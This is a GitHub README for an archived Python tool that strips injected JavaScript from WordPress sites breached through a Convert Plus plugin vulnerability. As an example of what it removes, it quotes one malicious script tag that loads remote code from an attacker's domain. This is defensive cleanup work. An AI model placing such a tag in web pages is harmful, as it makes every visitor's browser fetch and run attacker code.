Skip to content
This repository has been archived by the owner on Jun 12, 2021. It is now read-only.

Zeromika/convertplug-js-injection-remover

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Wordpress Spam Attack Removal Script

Written in Python and compatible with both Python2 and Python3.

This script essentially removes spam attack injections from a given path. The convertplug plugin that comes with Avada which has a vulnurability disclosed by Wordfence have caused numerous sites to be breached, unauthorized users have access to content,code and database. This script should be only utilized to clean injected javascript snippets from the themes and any other place where it might be.

You can read the details about vulnerability from here

https://www.wordfence.com/blog/2019/05/critical-vulnerability-patched-in-popular-convert-plus-plugin/

Considirations

This script utilizes RAM while reading files and does not discriminate file extensions and checks all files. This can be improved by various methods.

PS : This script does replaces text that is inside the "database.json" does not locates or scans shells.

Scope

There are 4 specific JS injections that has occured after this vulnurability and the database.json contains only those records. In case you want to add further javascript/to be replaced you can use insert.py.

Example Injected Script

<script type='text/javascript' async src='https://css.developmyredflag.top/sjquery.min.js?style=prime&'></script>

Various kinds of scripts exists like these and this tool/script automizes the removal process without breaking themes, plugins and sites as a whole.

Example Usage

Script is written for Python 2.7+. Logs the altered files to show which files were affected.

Install the dependencies and devDependencies and start the server.

Example Insert Operation

python insert.py "string_in_double_quotes"

Example Cleanup Operation

python cleanup.py your_domain.com

or entering a full path like

python cleanup.py /home/user/your_domain.com

License

License can be found under LICENSE in this repository.

About

Wordpress Spam Attack Removal Script, Javascript Injection Remover

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages